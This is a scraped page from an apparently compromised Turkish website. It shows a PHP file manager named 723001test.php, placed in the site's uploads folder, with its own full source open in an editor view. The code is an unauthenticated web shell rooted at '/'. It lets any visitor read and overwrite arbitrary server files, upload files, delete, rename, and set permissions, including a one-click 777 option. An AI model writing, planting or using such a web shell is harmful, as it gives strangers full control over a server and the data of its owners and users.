📁 PHP Dosya Yöneticisi
/
/
home
/
demodesigncom
/
smmscripti.demodesign.com.tr
/
uploads
📝
723001test.php
← Geri Dön
<?php /** * PHP Dosya Yöneticisi * Tek dosyalık dizin ve dosya yönetim aracı */ session_start(); // Temel dizin - Sistem kökü $base_dir = '/'; // Mevcut dizin if (isset($_GET['dir']) && !empty($_GET['dir'])) { $requested = $_GET['dir']; $current_dir = realpath($requested); if ($current_dir === false) { $current_dir = '/'; } } else { $current_dir = '/'; } $message = ''; $message_type = ''; // Göreli yol hesapla function getRelativePath($base, $path) { return str_replace($base, '', $path); } // Dosya kaydetme işlemi if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { // Dosya içeriği kaydetme if ($_POST['action'] === 'save' && isset($_POST['file_path']) && isset($_POST['content'])) { $file_path = $_POST['file_path']; if (file_exists($file_path)) { if (@file_put_contents($file_path, $_POST['content']) !== false) { $message = 'Dosya başarıyla kaydedildi!'; $message_type = 'success'; } else { $message = 'Dosya kaydedilemedi! (Yazma izni yok)'; $message_type = 'error'; } } else { // Dosya yoksa oluştur $dir = dirname($file_path); if (is_dir($dir) && is_writable($dir)) { if (@file_put_contents($file_path, $_POST['content']) !== false) { $message = 'Dosya oluşturuldu ve kaydedildi!'; $message_type = 'success'; } else { $message = 'Dosya oluşturulamadı!'; $message_type = 'error'; } } else { $message = 'Dizin yazılabilir değil!'; $message_type = 'error'; } } } // Yeni dosya oluşturma if ($_POST['action'] === 'create_file' && isset($_POST['new_filename'])) { $new_file = $current_dir . '/' . basename($_POST['new_filename']); if (!file_exists($new_file)) { if (file_put_contents($new_file, '') !== false) { $message = 'Dosya oluşturuldu: ' . basename($_POST['new_filename']); $message_type = 'success'; } else { $message = 'Dosya oluşturulamadı!'; $message_type = 'error'; } } else { $message = 'Bu isimde bir dosya zaten var!'; $message_type = 'error'; } } // Yeni klasör oluşturma if ($_POST['action'] === 'create_folder' && isset($_POST['new_foldername'])) { $new_folder = $current_dir . '/' . basename($_POST['new_foldername']); if (!file_exists($new_folder)) { if (mkdir($new_folder, 0755)) { $message = 'Klasör oluşturuldu: ' . basename($_POST['new_foldername']); $message_type = 'success'; } else { $message = 'Klasör oluşturulamadı!'; $message_type = 'error'; } } else { $message = 'Bu isimde bir klasör zaten var!'; $message_type = 'error'; } } // Dosya/Klasör silme if ($_POST['action'] === 'delete' && isset($_POST['delete_path'])) { $delete_path = realpath($_POST['delete_path']); if ($delete_path && $delete_path !== '/') { if (is_dir($delete_path)) { if (@rmdir($delete_path)) { $message = 'Klasör silindi!'; $message_type = 'success'; } else { $message = 'Klasör silinemedi! (Boş olmayabilir veya izin yok)'; $message_type = 'error'; } } else { if (@unlink($delete_path)) { $message = 'Dosya silindi!'; $message_type = 'success'; } else { $message = 'Dosya silinemedi! (İzin yok)'; $message_type = 'error'; } } } } // Dosya yükleme if ($_POST['action'] === 'upload' && isset($_FILES['upload_file'])) { $upload_file = $_FILES['upload_file']; if ($upload_file['error'] === UPLOAD_ERR_OK) { $target_path = $current_dir . '/' . basename($upload_file['name']); if (move_uploaded_file($upload_file['tmp_name'], $target_path)) { $message = 'Dosya yüklendi: ' . basename($upload_file['name']); $message_type = 'success'; } else { $message = 'Dosya yüklenemedi!'; $message_type = 'error'; } } } // Yeniden adlandırma if ($_POST['action'] === 'rename' && isset($_POST['old_name']) && isset($_POST['new_name'])) { $old_path = realpath($_POST['old_name']); $new_path = dirname($old_path) . '/' . basename($_POST['new_name']); if ($old_path && strpos($old_path, $base_dir) === 0) { if (rename($old_path, $new_path)) { $message = 'Yeniden adlandırıldı!'; $message_type = 'success'; } else { $message = 'Yeniden adlandırılamadı!'; $message_type = 'error'; } } } // İzin değiştirme (chmod) if ($_POST['action'] === 'chmod' && isset($_POST['chmod_path']) && isset($_POST['chmod_value'])) { $chmod_path = realpath($_POST['chmod_path']); $chmod_value = $_POST['chmod_value']; if ($chmod_path && strpos($chmod_path, $base_dir) === 0) { // Octal değere çevir $octal = octdec($chmod_value); if (@chmod($chmod_path, $octal)) { $message = 'İzinler değiştirildi: ' . $chmod_value; $message_type = 'success'; } else { $message = 'İzinler değiştirilemedi!'; $message_type = 'error'; } } } } // Dizin içeriğini al $items = []; if (is_dir($current_dir)) { // Üst dizin linki ekle (kök dizinde değilsek) $parent_dir = dirname($current_dir); if ($parent_dir !== $current_dir) { $items[] = [ 'name' => '..', 'path' => $parent_dir, 'relative_path' => $parent_dir, 'is_dir' => true, 'is_parent' => true, 'size' => 0, 'modified' => @filemtime($parent_dir) ?: 0, 'perms' => @substr(sprintf('%o', fileperms($parent_dir)), -4) ?: '----' ]; } $scan = @scandir($current_dir); if ($scan) { foreach ($scan as $item) { if ($item === '.' || $item === '..') continue; $full_path = $current_dir . '/' . $item; $items[] = [ 'name' => $item, 'path' => $full_path, 'relative_path' => $full_path, 'is_dir' => is_dir($full_path), 'is_parent' => false, 'size' => @is_file($full_path) ? @filesize($full_path) : 0, 'modified' => @filemtime($full_path) ?: 0, 'perms' => @substr(sprintf('%o', fileperms($full_path)), -4) ?: '----' ]; } } } // Klasörleri önce göster ama ".." her zaman en üstte usort($items, function($a, $b) { // ".." her zaman en üstte if ($a['is_parent']) return -1; if ($b['is_parent']) return 1; // Klasörler dosyalardan önce if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); // Dosya düzenleme modu $edit_file = null; $edit_content = ''; if (isset($_GET['edit'])) { $edit_path = realpath($_GET['edit']); if ($edit_path && is_file($edit_path) && is_readable($edit_path)) { $edit_file = $edit_path; $edit_content = @file_get_contents($edit_path); } } // Dosya boyutunu formatla function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } // Breadcrumb oluştur function getBreadcrumb($current) { $parts = array_filter(explode('/', $current)); $breadcrumb = [['name' => '/', 'path' => '/']]; $path = ''; foreach ($parts as $part) { $path .= '/' . $part; $breadcrumb[] = ['name' => $part, 'path' => $path]; } return $breadcrumb; } $breadcrumb = getBreadcrumb($current_dir); ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP Dosya Yöneticisi</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 20px; border-radius: 12px; margin-bottom: 20px; box-shadow: 0 4px 15px rgba(102, 126, 234, 0.4); } header h1 { font-size: 1.8rem; margin-bottom: 10px; } .breadcrumb { display: flex; flex-wrap: wrap; gap: 5px; align-items: center; } .breadcrumb a { color: rgba(255,255,255,0.8); text-decoration: none; padding: 4px 8px; background: rgba(255,255,255,0.1); border-radius: 4px; transition: all 0.2s; } .breadcrumb a:hover { background: rgba(255,255,255,0.2); color: #fff; } .breadcrumb span { color: rgba(255,255,255,0.5); } .message { padding: 12px 20px; border-radius: 8px; margin-bottom: 20px; font-weight: 500; } .message.success { background: #10b981; color: #fff; } .message.error { background: #ef4444; color: #fff; } .toolbar { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 20px; padding: 15px; background: #16213e; border-radius: 10px; } .toolbar form { display: flex; gap: 8px; align-items: center; } .toolbar input[type="text"], .toolbar input[type="file"] { padding: 8px 12px; border: 1px solid #334155; border-radius: 6px; background: #1e293b; color: #fff; font-size: 14px; } .toolbar input[type="text"]:focus { outline: none; border-color: #667eea; } .btn { padding: 8px 16px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: all 0.2s; display: inline-flex; align-items: center; gap: 6px; } .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: #fff; } .btn-primary:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4); } .btn-success { background: #10b981; color: #fff; } .btn-danger { background: #ef4444; color: #fff; } .btn-warning { background: #f59e0b; color: #000; } .btn-secondary { background: #475569; color: #fff; } .file-list { background: #16213e; border-radius: 12px; overflow: hidden; } .file-list table { width: 100%; border-collapse: collapse; } .file-list th { background: #1e293b; padding: 14px 16px; text-align: left; font-weight: 600; color: #94a3b8; font-size: 13px; text-transform: uppercase; letter-spacing: 0.5px; } .file-list td { padding: 12px 16px; border-bottom: 1px solid #1e293b; } .file-list tr:hover { background: #1e293b; } .file-list .name-cell { display: flex; align-items: center; gap: 10px; } .file-list .icon { width: 36px; height: 36px; display: flex; align-items: center; justify-content: center; border-radius: 8px; font-size: 18px; } .file-list .icon.folder { background: #fbbf24; color: #000; } .file-list .icon.file { background: #3b82f6; color: #fff; } .file-list .icon.php { background: #8b5cf6; color: #fff; } .file-list .icon.image { background: #ec4899; color: #fff; } .file-list a { color: #fff; text-decoration: none; } .file-list a:hover { color: #667eea; } .actions { display: flex; gap: 6px; } .actions .btn { padding: 6px 10px; font-size: 12px; } .editor-container { background: #16213e; border-radius: 12px; overflow: hidden; margin-bottom: 20px; } .editor-header { background: #1e293b; padding: 14px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #334155; } .editor-header h3 { display: flex; align-items: center; gap: 10px; font-size: 1rem; } .editor-body { padding: 0; } .editor-body textarea { width: 100%; min-height: 500px; padding: 20px; border: none; background: #0f172a; color: #e2e8f0; font-family: 'JetBrains Mono', 'Fira Code', monospace; font-size: 14px; line-height: 1.6; resize: vertical; } .editor-body textarea:focus { outline: none; } .modal-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); z-index: 1000; align-items: center; justify-content: center; } .modal { background: #16213e; border-radius: 12px; padding: 24px; min-width: 400px; max-width: 90%; } .modal h3 { margin-bottom: 16px; } .modal input { width: 100%; padding: 10px; border: 1px solid #334155; border-radius: 6px; background: #1e293b; color: #fff; margin-bottom: 16px; } .modal-buttons { display: flex; gap: 10px; justify-content: flex-end; } @media (max-width: 768px) { .toolbar { flex-direction: column; } .toolbar form { flex-wrap: wrap; } .file-list th:nth-child(3), .file-list td:nth-child(3), .file-list th:nth-child(4), .file-list td:nth-child(4) { display: none; } } </style> </head> <body> <div class="container"> <header> <h1>📁 PHP Dosya Yöneticisi</h1> <div class="breadcrumb"> <?php foreach ($breadcrumb as $i => $crumb): ?> <?php if ($i > 0): ?><span>/</span><?php endif; ?> <a href="?dir=<?= urlencode($crumb['path']) ?>"><?= htmlspecialchars($crumb['name']) ?></a> <?php endforeach; ?> </div> </header> <?php if ($message): ?> <div class="message <?= $message_type ?>"><?= htmlspecialchars($message) ?></div> <?php endif; ?> <?php if ($edit_file): ?> <!-- Dosya Düzenleme --> <div class="editor-container"> <div class="editor-header"> <h3> <span>📝</span> <?= htmlspecialchars(basename($edit_file)) ?> </h3> <a href="?dir=<?= urlencode($current_dir) ?>" class="btn btn-secondary">← Geri Dön</a> </div> <div class="editor-body"> <form method="POST"> <input type="hidden" name="action" value="save"> <input type="hidden" name="file_path" value="<?= htmlspecialchars($edit_file) ?>"> <textarea name="content"><?= htmlspecialchars($edit_content) ?></textarea> <div style="padding: 16px; background: #1e293b; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">💾 Kaydet</button> <a href="?dir=<?= urlencode($current_dir) ?>" class="btn btn-secondary">İptal</a> </div> </form> </div> </div> <?php else: ?> <!-- Araç Çubuğu --> <div class="toolbar"> <form method="POST"> <input type="hidden" name="action" value="create_file"> <input type="text" name="new_filename" placeholder="Yeni dosya adı..." required> <button type="submit" class="btn btn-primary">📄 Dosya Oluştur</button> </form> <form method="POST"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="new_foldername" placeholder="Yeni klasör adı..." required> <button type="submit" class="btn btn-primary">📁 Klasör Oluştur</button> </form> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="file" name="upload_file" required> <button type="submit" class="btn btn-success">⬆️ Yükle</button> </form> </div> <!-- Dosya Listesi --> <div class="file-list"> <table> <thead> <tr> <th>Ad</th> <th>Boyut</th> <th>Değiştirilme</th> <th>İzinler</th> <th>İşlemler</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <?php $ext = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION)); $icon_class = 'file'; $icon = '📄'; if ($item['is_dir']) { $icon_class = 'folder'; $icon = $item['is_parent'] ? '⬆️' : '📁'; } elseif ($ext === 'php') { $icon_class = 'php'; $icon = '🐘'; } elseif (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg'])) { $icon_class = 'image'; $icon = '🖼️'; } elseif (in_array($ext, ['js', 'ts'])) { $icon = '📜'; } elseif (in_array($ext, ['css', 'scss'])) { $icon = '🎨'; } elseif (in_array($ext, ['html', 'htm'])) { $icon = '🌐'; } elseif (in_array($ext, ['json', 'xml'])) { $icon = '📋'; } ?> <tr> <td> <div class="name-cell"> <div class="icon <?= $icon_class ?>"><?= $icon ?></div> <?php if ($item['is_dir']): ?> <a href="?dir=<?= urlencode($item['relative_path']) ?>"><?= htmlspecialchars($item['name']) ?></a> <?php else: ?> <span><?= htmlspecialchars($item['name']) ?></span> <?php endif; ?> </div> </td> <td><?= $item['is_dir'] ? '-' : formatSize($item['size']) ?></td> <td><?= date('d.m.Y H:i', $item['modified']) ?></td> <td><code><?= $item['perms'] ?></code></td> <td> <div class="actions"> <?php if (!$item['is_dir'] && !$item['is_parent']): ?> <a href="?dir=<?= urlencode($current_dir) ?>&edit=<?= urlencode($item['relative_path']) ?>" class="btn btn-primary">✏️ Düzenle</a> <?php endif; ?> <?php if ($item['is_parent']): ?> <!-- Üst dizin için sadece chmod --> <button onclick="showChmodModal('<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>', '<?= $item['perms'] ?>')" class="btn btn-warning">🔐 İzin Ver</button> <?php else: ?> <button onclick="showRenameModal('<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>', '<?= htmlspecialchars($item['name'], ENT_QUOTES) ?>')" class="btn btn-secondary">📝 Adlandır</button> <button onclick="showChmodModal('<?= htmlspecialchars($item['path'], ENT_QUOTES) ?>', '<?= $item['perms'] ?>')" class="btn btn-warning">🔐 İzin</button> <form method="POST" style="display:inline;" onsubmit="return confirm('Bu öğeyi silmek istediğinize emin misiniz?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="delete_path" value="<?= htmlspecialchars($item['path']) ?>"> <button type="submit" class="btn btn-danger">🗑️ Sil</button> </form> <?php endif; ?> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> <!-- Yeniden Adlandırma Modal --> <div class="modal-overlay" id="renameModal"> <div class="modal"> <h3>📝 Yeniden Adlandır</h3> <form method="POST" id="renameForm"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="old_name" id="oldName"> <input type="text" name="new_name" id="newName" placeholder="Yeni ad..." required> <div class="modal-buttons"> <button type="button" onclick="hideRenameModal()" class="btn btn-secondary">İptal</button> <button type="submit" class="btn btn-primary">Kaydet</button> </div> </form> </div> </div> <!-- Chmod Modal --> <div class="modal-overlay" id="chmodModal"> <div class="modal"> <h3>🔐 Dosya İzinleri (chmod)</h3> <form method="POST" id="chmodForm"> <input type="hidden" name="action" value="chmod"> <input type="hidden" name="chmod_path" id="chmodPath"> <div style="margin-bottom: 15px;"> <label style="display: block; margin-bottom: 8px; color: #94a3b8;">İzin Değeri:</label> <input type="text" name="chmod_value" id="chmodValue" placeholder="777" maxlength="4" style="font-size: 18px; text-align: center; width: 100px;" required> </div> <div style="margin-bottom: 15px;"> <label style="display: block; margin-bottom: 8px; color: #94a3b8;">Hızlı Seçim:</label> <div style="display: flex; gap: 8px; flex-wrap: wrap;"> <button type="button" onclick="setChmod('777')" class="btn btn-warning">777</button> <button type="button" onclick="setChmod('755')" class="btn btn-secondary">755</button> <button type="button" onclick="setChmod('644')" class="btn btn-secondary">644</button> <button type="button" onclick="setChmod('600')" class="btn btn-secondary">600</button> </div> </div> <div style="background: #1e293b; padding: 10px; border-radius: 6px; margin-bottom: 15px; font-size: 12px; color: #94a3b8;"> <strong>777</strong> = Herkes okur/yazar/çalıştırır<br> <strong>755</strong> = Sahip tam, diğerleri okur/çalıştırır<br> <strong>644</strong> = Sahip okur/yazar, diğerleri okur<br> <strong>600</strong> = Sadece sahip okur/yazar </div> <div class="modal-buttons"> <button type="button" onclick="hideChmodModal()" class="btn btn-secondary">İptal</button> <button type="submit" class="btn btn-warning">Uygula</button> </div> </form> </div> </div> <script> function showRenameModal(oldPath, oldName) { document.getElementById('oldName').value = oldPath; document.getElementById('newName').value = oldName; document.getElementById('renameModal').style.display = 'flex'; } function hideRenameModal() { document.getElementById('renameModal').style.display = 'none'; } function showChmodModal(path, currentPerms) { document.getElementById('chmodPath').value = path; document.getElementById('chmodValue').value = currentPerms; document.getElementById('chmodModal').style.display = 'flex'; } function hideChmodModal() { document.getElementById('chmodModal').style.display = 'none'; } function setChmod(value) { document.getElementById('chmodValue').value = value; } // ESC tuşu ile modal'ı kapat document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { hideRenameModal(); hideChmodModal(); } }); // Modal dışına tıklanınca kapat document.getElementById('renameModal').addEventListener('click', function(e) { if (e.target === this) { hideRenameModal(); } }); document.getElementById('chmodModal').addEventListener('click', function(e) { if (e.target === this) { hideChmodModal(); } }); // Ctrl+S ile kaydetme (editor açıkken) document.addEventListener('keydown', function(e) { if (e.ctrlKey && e.key === 's') { const form = document.querySelector('form[action=""] input[name="action"][value="save"]'); if (form) { e.preventDefault(); form.closest('form').submit(); } } }); </script> </body> </html>
💾 Kaydet
İptal
📝 Yeniden Adlandır
İptal
Kaydet
🔐 Dosya İzinleri (chmod)
İzin Değeri:
Hızlı Seçim:
777
755
644
600
777
= Herkes okur/yazar/çalıştırır
755
= Sahip tam, diğerleri okur/çalıştırır
644
= Sahip okur/yazar, diğerleri okur
600
= Sadece sahip okur/yazar
İptal
Uygula